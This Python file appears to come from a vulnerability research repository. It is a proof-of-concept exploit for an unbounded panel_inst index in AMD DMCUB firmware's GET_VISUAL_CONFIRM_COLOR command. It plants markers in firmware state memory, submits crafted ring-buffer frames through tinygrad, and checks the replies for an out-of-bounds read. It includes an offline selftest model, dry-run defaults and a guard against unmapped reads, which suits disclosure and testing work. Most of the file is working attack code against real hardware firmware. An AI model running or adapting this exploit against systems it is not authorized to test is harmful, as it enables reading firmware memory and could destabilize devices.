aboutsummaryrefslogtreecommitdiffstats
path: root/dmcub/hw/dmcub_poc_type8.py
blob: 61be33455a5f974d1c7a53bdc493014a1c6bb071 (plain) (blame)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
#!/usr/bin/env python3
"""PoC for FINDING-2: DMUB_CMD__GET_VISUAL_CONFIRM_COLOR (type 8) returns memory
selected by an unbounded 16-bit `panel_inst`.

The firmware case (dcn_3_2_0, VA 0x6001c9e0..0x6001ca44, 24 instructions, no bound
on the index) ends in:

    memcpy(frame + 4, ctx + 8*panel_inst + 0xaea0, 8)

with `ctx` = the pointer at image VA 0x6001b1e0, which the image itself sets to
**0x66000300** -- i.e. inside cache window 6 (the fw_state window). When we bring
the DMCUB up ourselves (dmcub_bringup.py) we own that window's backing VRAM, so:

  * we can **plant known 8-byte markers** at `ctx + 8*k + 0xaea0` for k >= 2,
  * k = 0 and 1 are the only legitimate values (two panels), so any k >= 2 is
    already outside the intended array,
  * a reply frame containing our planted marker is proof the index is unbounded,
    with attacker-chosen data, and
  * every address touched stays inside a mapped window, so this PoC never makes
    the DMCUB touch unbacked memory -- no SMU-wedge exposure (CONSTRAINTS.md).

The stride-1976 gate byte at `ctx + 0x7b8*k + 0x2c8` is also inside the window, so
we set its bit 0 to make the copy path deterministic rather than state-dependent.

Going *past* the window (k >= ~0x184, where 8*k + 0xaea0 exceeds fw_region_size
0xb8c0) is the unbacked-access case and is refused unless --allow-wild is given.

usage:
    python3 dmcub_poc_type8.py --selftest                 # offline model, no hw
    python3 dmcub_poc_type8.py --state bringup.json       # on the rig
"""
import argparse
import json
import os
import struct
import sys
import time

sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
import dmcub_hwregs as H            # noqa: E402
import dmcub_bringup as B          # noqa: E402

CTX_PTR_VA = 0x6001b1e0     # image global holding the state base
CW6_BASE = B.DMUB_CW6_BASE
COPY_OFF = 0xaea0           # byte offset added after 8*panel_inst
GATE_OFF = 0x2c8            # gate byte offset, stride 0x7b8
GATE_STRIDE = 0x7b8
COPY_STRIDE = 8
RB_CMD_SIZE = 64
LEGIT_MAX = 1               # only panel_inst 0 and 1 are real


def ctx_from_image(image):
    """Read the state pointer out of the image the way the firmware does."""
    raw = open(image, 'rb').read()
    (_s, _h, _a, _b, _c, _d, _uv, _us, ucode_off, _crc) = struct.unpack_from(
        '<IIHHHHIIII', raw, 0)
    body = ucode_off + B.PSP_HEADER_BYTES
    off = CTX_PTR_VA - B.DMUB_CW0_BASE + body
    return struct.unpack_from('<I', raw, off)[0]


def frame_type8(panel_inst, payload_bytes=12):
    """A 64-byte inbox1 frame for DMUB_CMD__GET_VISUAL_CONFIRM_COLOR.

    struct dmub_cmd_header is a 32-bit LE bitfield:
      byte0 type, byte1 sub_type, byte2 {ret_status:1, multi_cmd_pending:1,
      is_reg_based:1, reserved:5}, byte3 {payload_bytes:6, reserved:2}
    then struct dmub_visual_confirm_color at +4:
      u16 color_r_cr, u16 color_g_y, u16 color_b_cb, u16 panel_inst
    """
    f = bytearray(RB_CMD_SIZE)
    f[0] = 8
    f[1] = 0
    f[2] = 0x01                     # ret_status: we want the reply written back
    f[3] = payload_bytes & 0x3F
    struct.pack_into('<HHHH', f, 4, 0, 0, 0, panel_inst & 0xFFFF)
    return bytes(f)


def expected_src(ctx, panel_inst):
    """DMUB VA the firmware will copy 8 bytes from."""
    return ctx + COPY_STRIDE * panel_inst + COPY_OFF


def expected_gate(ctx, panel_inst):
    return ctx + GATE_STRIDE * panel_inst + GATE_OFF


def marker(k):
    return b'LEAK%03d!' % k if len(b'LEAK%03d!' % k) == 8 else (b'LEAK%03d' % k)[:8]


# ----------------------------------------------------------------- hw driver
class Poc:
    def __init__(self, regs, adev, fw_state_paddr, mailbox_paddr, ctx,
                 fw_region_size, dry_run=True):
        self.r = regs
        self.adev = adev
        self.fw_state_paddr = fw_state_paddr
        self.mailbox_paddr = mailbox_paddr
        self.ctx = ctx
        self.fw_region_size = fw_region_size
        self.dry_run = dry_run

    # fw_state window host access: DMUB VA -> offset in our VRAM allocation
    def _fw_off(self, va):
        off = va - CW6_BASE
        if not 0 <= off < self.fw_region_size:
            raise ValueError('VA 0x%08x outside the fw_state window (size 0x%x)'
                             % (va, self.fw_region_size))
        return off

    def gate_mapped(self, k):
        try:
            self._fw_off(expected_gate(self.ctx, k))
            return True
        except ValueError:
            return False

    def plant(self, k):
        """Plant the marker; plant the gate byte only when it is mapped.

        The stride-0x7b8 gate leaves the window at k > 23 while the stride-8 copy
        source stays mapped to k = 227, so for larger indices the copy is reached
        on the handler's default path instead of being forced by us.
        """
        src, gate = expected_src(self.ctx, k), expected_gate(self.ctx, k)
        m = marker(k)
        gmap = self.gate_mapped(k)
        print('  plant k=%-5d marker %r at DMUB VA 0x%08x, gate 0x%08x %s'
              % (k, m, src, gate, 'bit0 set' if gmap else '(unmapped: not planted)'))
        if self.dry_run:
            return m
        so = self._fw_off(src)
        # VRAM access over the USB4 bridge must be 4-byte aligned and sized
        # (tinygrad usb.py pcie_mem_read), so the single gate byte is done as a
        # read-modify-write of its containing dword.
        assert so % 4 == 0, 'marker source must be dword aligned'
        self.adev.vram.view(self.fw_state_paddr + so, 8)[:] = m
        if gmap:
            go = self._fw_off(gate)
            gdw, gsh = go & ~3, (go & 3) * 8
            cur = struct.unpack('<I', bytes(self.adev.vram.view(
                self.fw_state_paddr + gdw, 4)[:]))[0]
            self.adev.vram.view(self.fw_state_paddr + gdw, 4)[:] = struct.pack(
                '<I', cur | (1 << gsh))
        self.adev.gmc.flush_hdp()
        return m

    def submit(self, frame, timeout_s=0.5):
        """Write the frame at wptr, ring the doorbell, wait for rptr, read back."""
        size = self.r.read('DMCUB_INBOX1_SIZE')
        wptr = self.r.read('DMCUB_INBOX1_WPTR')
        rptr = self.r.read('DMCUB_INBOX1_RPTR')
        print('  ring size=0x%x rptr=0x%x wptr=0x%x' % (size, rptr, wptr))
        if self.dry_run:
            print('  DRY: would write %d bytes at ring+0x%x then WPTR <- 0x%x'
                  % (len(frame), wptr, (wptr + RB_CMD_SIZE) % size))
            return None
        assert wptr % 4 == 0, 'ring offset must be dword aligned for USB access'
        self.adev.vram.view(self.mailbox_paddr + wptr, RB_CMD_SIZE)[:] = frame
        self.adev.gmc.flush_hdp()
        nxt = (wptr + RB_CMD_SIZE) % size
        self.r.write('DMCUB_INBOX1_WPTR', nxt)
        t0 = time.time()
        while time.time() - t0 < timeout_s:
            if self.r.read('DMCUB_INBOX1_RPTR') == nxt:
                break
            time.sleep(0.001)
        else:
            print('  TIMEOUT: rptr never reached 0x%x (firmware did not consume)' % nxt)
            return None
        return bytes(self.adev.vram.view(self.mailbox_paddr + wptr, RB_CMD_SIZE)[:])

    def alive(self):
        if self.dry_run:
            return True
        s0 = self.r.read('DMCUB_SCRATCH0')
        t = [self.r.read('DMCUB_TIMER_CURRENT') for _ in range(3)]
        return bool(s0 & 1) and len(set(t)) > 1

    def run(self, ks, allow_wild=False):
        limit = (self.fw_region_size - COPY_OFF - (self.ctx - CW6_BASE)) // COPY_STRIDE
        rows = []
        for k in ks:
            if k > limit and not allow_wild:
                print('  skip k=%d: source would leave the fw_state window '
                      '(limit %d). --allow-wild to force (unbacked access!).'
                      % (k, limit))
                continue
            m = self.plant(k) if k > LEGIT_MAX else None
            got = self.submit(frame_type8(k))
            if got is None:
                rows.append((k, m, None, 'no-reply'))
                if not self.alive():
                    print('  !! DMCUB no longer alive -- stopping')
                    break
                continue
            reply = got[4:12]
            verdict = ('LEAK-CONFIRMED' if m and reply == m else
                       'baseline' if k <= LEGIT_MAX else 'no-match')
            rows.append((k, m, reply, verdict))
            print('  k=%-5d reply[4:12]=%s  %s' % (k, reply.hex(), verdict))
            if not self.alive():
                print('  !! DMCUB no longer alive -- stopping')
                break
        return rows


# -------------------------------------------------------------- offline model
class Unbacked(Exception):
    """The modelled read leaves every mapped window -- on real silicon this is the
    unbacked-access case CONSTRAINTS.md warns about, not a clean leak."""


class ModelDmcub:
    """Executes the 24-instruction type-8 case over a flat memory model.

    Positive control for the PoC's own arithmetic and frame layout: if the model
    (written from the disassembly) does not return the planted marker for the
    frame this script builds, the script is wrong before hardware is involved.
    """

    def __init__(self, ctx, fw_region_size):
        self.ctx = ctx
        self.mem = bytearray(fw_region_size)     # the CW6 window

    def _off(self, va):
        return va - CW6_BASE

    def mapped(self, va, n=1):
        o = self._off(va)
        return 0 <= o and o + n <= len(self.mem)

    def poke(self, va, data):
        if not self.mapped(va, len(data)):
            raise ValueError('poke outside the window: 0x%08x' % va)
        o = self._off(va)
        self.mem[o:o + len(data)] = data

    def peek(self, va, n):
        """None models a read the DMCUB's window mapping does not cover."""
        if not self.mapped(va, n):
            return None
        o = self._off(va)
        return bytes(self.mem[o:o + n])

    def handle(self, frame):
        f = bytearray(frame)
        if f[0] != 8:
            raise ValueError('not a type-8 frame')
        panel_inst = struct.unpack_from('<H', f, 0xa)[0]      # l8ui a3,0xb / a3,0xa
        # 6001c9f7/6001c9fa: gate byte read at ctx + 0x7b8*inst + 0x2c8; on this
        # model an unmapped gate is simply "unknown state", and the copy is
        # reached on the default path regardless.
        _gate = self.peek(expected_gate(self.ctx, panel_inst), 1)
        src = expected_src(self.ctx, panel_inst)
        data = self.peek(src, 8)                              # 6001ca2f memcpy 8
        if data is None:
            raise Unbacked('source 0x%08x is outside every cache window' % src)
        f[4:12] = data
        f[2] &= 0xFE                                          # 6001ca3b clears bit0
        return bytes(f)


def _selftest(image):
    ok = True

    def chk(cond, what):
        nonlocal ok
        print('  %-64s %s' % (what, 'OK' if cond else 'FAIL'))
        ok = ok and bool(cond)

    ctx = ctx_from_image(image)
    chk(ctx == 0x66000300, 'ctx read from the image = 0x66000300 (CW6 fw_state)')

    f = frame_type8(7)
    chk(f[0] == 8 and len(f) == 64, 'frame: type=8, 64 bytes')
    chk(struct.unpack_from('<H', f, 0xa)[0] == 7, 'panel_inst lands at frame+0xa (u16)')
    chk(f[3] == 12, 'payload_bytes field encoded in byte 3')

    plan = B.Plan(image)
    chk(plan.fw_region_size == 0xb8c0, 'fw_state window size 0xb8c0 from meta')

    # derive, don't assume: ctx sits at CW6+0x300, so the copy source for index k
    # is CW6 + 0x300 + 0xaea0 + 8k and the window ends at CW6 + fw_region_size.
    win_end = CW6_BASE + plan.fw_region_size
    src0 = expected_src(ctx, 0)
    chk(src0 == CW6_BASE + 0x300 + COPY_OFF, 'k=0 source = CW6 + 0x300 + 0xaea0')
    chk(src0 + 8 <= win_end, 'k=0 source (0x%08x) is inside the window' % src0)
    src_limit = (win_end - src0 - 8) // COPY_STRIDE
    gate_limit = (win_end - expected_gate(ctx, 0) - 1) // GATE_STRIDE
    print('    derived: src_limit=%d (0x%x), gate_limit=%d' % (
        src_limit, src_limit, gate_limit))
    chk(src_limit > LEGIT_MAX, 'in-window indices exist beyond the legitimate 0..1')
    chk(expected_src(ctx, src_limit) + 8 <= win_end, 'source at src_limit is mapped')
    chk(expected_src(ctx, src_limit + 1) + 8 > win_end, 'src_limit is tight')
    det = [k for k in range(LEGIT_MAX + 1, min(src_limit, gate_limit) + 1)]
    chk(len(det) >= 4, '%d fully deterministic OOB indices (src+gate both mapped): '
                       '%s..%s' % (len(det), det[0], det[-1]))

    m = ModelDmcub(ctx, plan.fw_region_size)
    probe = det[:3] + [src_limit]
    for k in probe:
        m.poke(expected_src(ctx, k), marker(k))
        if m.mapped(expected_gate(ctx, k)):
            m.poke(expected_gate(ctx, k), bytes([1]))
    for k in probe:
        rep = m.handle(frame_type8(k))
        chk(rep[4:12] == marker(k), 'model returns the planted marker for k=%d' % k)
    chk(m.handle(frame_type8(0))[4:12] == bytes(8),
        'k=0 returns unplanted (zero) bytes -- baseline differs from the leak')
    chk(m.handle(frame_type8(3))[2] & 1 == 0, 'firmware clears header bit 0 (ret_status)')

    # the wild case must be recognisable, not silently "working"
    try:
        m.handle(frame_type8(src_limit + 1))
        chk(False, 'index past the window raises Unbacked')
    except Unbacked:
        chk(True, 'index past the window raises Unbacked (refused by default on hw)')
    print('\nSELFTEST %s' % ('PASS' if ok else 'FAIL'))
    return 0 if ok else 1


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument('--image', default=os.path.join(
        os.path.dirname(os.path.dirname(os.path.abspath(__file__))),
        'fw', 'dcn_3_2_0_dmcub.bin'))
    ap.add_argument('--selftest', action='store_true')
    ap.add_argument('--state', help='JSON from dmcub_bringup (paddrs of the windows)')
    ap.add_argument('--fw-state-paddr', type=lambda s: int(s, 0))
    ap.add_argument('--mailbox-paddr', type=lambda s: int(s, 0))
    ap.add_argument('--k', default='0,1,2,3,4,5,6',
                    help='panel_inst values to try (default: baseline + in-window OOB)')
    ap.add_argument('--allow-wild', action='store_true',
                    help='permit indices whose source leaves the mapped window')
    ap.add_argument('--apply', action='store_true', help='actually submit commands')
    ap.add_argument('--inst', type=int, default=0)
    args = ap.parse_args()

    if args.selftest:
        raise SystemExit(_selftest(args.image))

    fw_paddr, mb_paddr = args.fw_state_paddr, args.mailbox_paddr
    if args.state:
        st = json.load(open(args.state))
        fw_paddr = fw_paddr or int(st['paddr']['fw_state'])
        mb_paddr = mb_paddr or int(st['paddr']['mailbox'])
    if fw_paddr is None or mb_paddr is None:
        raise SystemExit('need --state or --fw-state-paddr/--mailbox-paddr '
                         '(the VRAM backing the CW6 and CW4 windows)')

    from tinygrad import Device
    adev = Device["AMD"].iface.dev_impl
    regs = H.Regs(adev=adev, inst=args.inst, dry_run=not args.apply)
    print('access-path validation:')
    path, report = regs.validate()
    if path == 'none':
        raise SystemExit('no usable DCN register path -- run dmcub_probe.py')

    if not (regs.get('DMCUB_CNTL', 'DMCUB_ENABLE')
            and not regs.get('DMCUB_CNTL2', 'DMCUB_SOFT_RESET')):
        raise SystemExit('DMCUB is not running -- run dmcub_bringup.py first')

    plan = B.Plan(args.image)
    ctx = ctx_from_image(args.image)
    print('ctx = 0x%08x, fw_state window 0x%x bytes at paddr 0x%x' % (
        ctx, plan.fw_region_size, fw_paddr))
    poc = Poc(regs, adev, fw_paddr, mb_paddr, ctx, plan.fw_region_size,
              dry_run=not args.apply)
    ks = [int(x, 0) for x in args.k.split(',')]
    rows = poc.run(ks, allow_wild=args.allow_wild)

    print('\n=== result')
    leaked = [r for r in rows if r[3] == 'LEAK-CONFIRMED']
    for k, m, reply, verdict in rows:
        print('  panel_inst=%-6d planted=%-10s reply=%-18s %s' % (
            k, m.hex() if m else '-', reply.hex() if reply else '-', verdict))
    print('\n%d of %d out-of-range indices returned planted data' % (
        len(leaked), len([r for r in rows if r[1] is not None])))
    if leaked:
        print('FINDING-2 CONFIRMED ON HARDWARE: type 8 returns memory at a '
              'host-chosen offset (legit range is 0..1).')
    return 0


if __name__ == '__main__':
    raise SystemExit(main())